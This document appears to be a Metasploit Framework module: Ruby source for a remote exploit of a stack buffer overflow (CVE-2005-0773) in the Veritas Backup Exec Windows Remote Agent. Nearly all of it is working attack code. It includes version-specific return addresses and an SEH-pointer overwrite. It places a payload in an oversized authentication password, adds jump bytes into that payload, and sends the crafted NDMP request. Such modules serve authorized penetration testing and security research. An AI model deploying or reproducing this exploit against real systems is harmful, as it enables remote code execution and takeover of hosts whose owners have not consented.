metasploit-framework/modules/exploits/windows/backupexec/remote_agent.rb

134 lines
3.8 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::NDMP
def initialize(info = {})
super(update_info(info,
'Name' => 'Veritas Backup Exec Windows Remote Agent Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the Veritas
BackupExec Windows Agent software. This vulnerability occurs
when a client authentication request is received with type
'3' and a long password argument. Reliable execution is
obtained by abusing the stack buffer overflow to smash a SEH
pointer.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2005-0773'],
[ 'OSVDB', '17624'],
[ 'BID', '14022'],
[ 'URL', 'http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities'],
[ 'URL', 'http://seer.support.veritas.com/docs/276604.htm'],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => %w{ win },
'Targets' =>
[
[
'Veritas BE 9.0/9.1/10.0 (All Windows)',
{
'Platform' => 'win',
'Rets' => [ 0x0140f8d5, 0x014261b0 ],
},
],
[
'Veritas BE 9.0/9.1/10.0 (Windows 2000)',
{
'Platform' => 'win',
'Rets' => [ 0x75022ac4, 0x75022ac4 ],
},
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 22 2005'))
register_options(
[
Opt::RPORT(10000)
], self.class)
end
def check
info = ndmp_info()
if (info and info['Version'])
vprint_status(" Vendor: #{info['Vendor']}")
vprint_status("Product: #{info['Product']}")
vprint_status("Version: #{info['Version']}")
if (info['Vendor'] =~ /VERITAS/i and info['Version'] =~ /^(4\.2|5\.1)$/)
return Exploit::CheckCode::Appears
end
end
return Exploit::CheckCode::Safe
end
def exploit
connect
print_status("Trying target #{target.name}...")
resp = ndmp_recv()
username = 'X' * 512
password = rand_text_alphanumeric(8192)
# Place our payload early in the request and jump backwards into it
password[ 3536 - payload.encoded.length, payload.encoded.length] = payload.encoded
# This offset is required for version 10.0
password[3536, 2] = "\xeb\x06"
password[3540, 4] = [ target['Rets'][1] ].pack('V')
password[3544, 5] = "\xe9" + [-1037].pack('V')
# This offset is required for version 9.0/9.1
password[4524, 2] = "\xeb\x06"
password[4528, 4] = [ target['Rets'][0] ].pack('V')
password[4532, 5] = "\xe9" + [-2025].pack('V')
# Create the authentication request
auth = [
1, # Sequence number
Time.now.to_i, # Current time
0, # Message type (request)
0x901, # Message name (connect_client_auth)
0, # Reply sequence number
0, # Error status
3 # Authentication type
].pack('NNNNNNN') +
[ username.length ].pack('N') + username +
[ password.length ].pack('N') + password +
[ 4 ].pack('N')
print_status("Sending authentication request...")
ndmp_send(auth)
# Attempt to read a reply (this should fail)
ndmp_recv()
handler
disconnect
end
end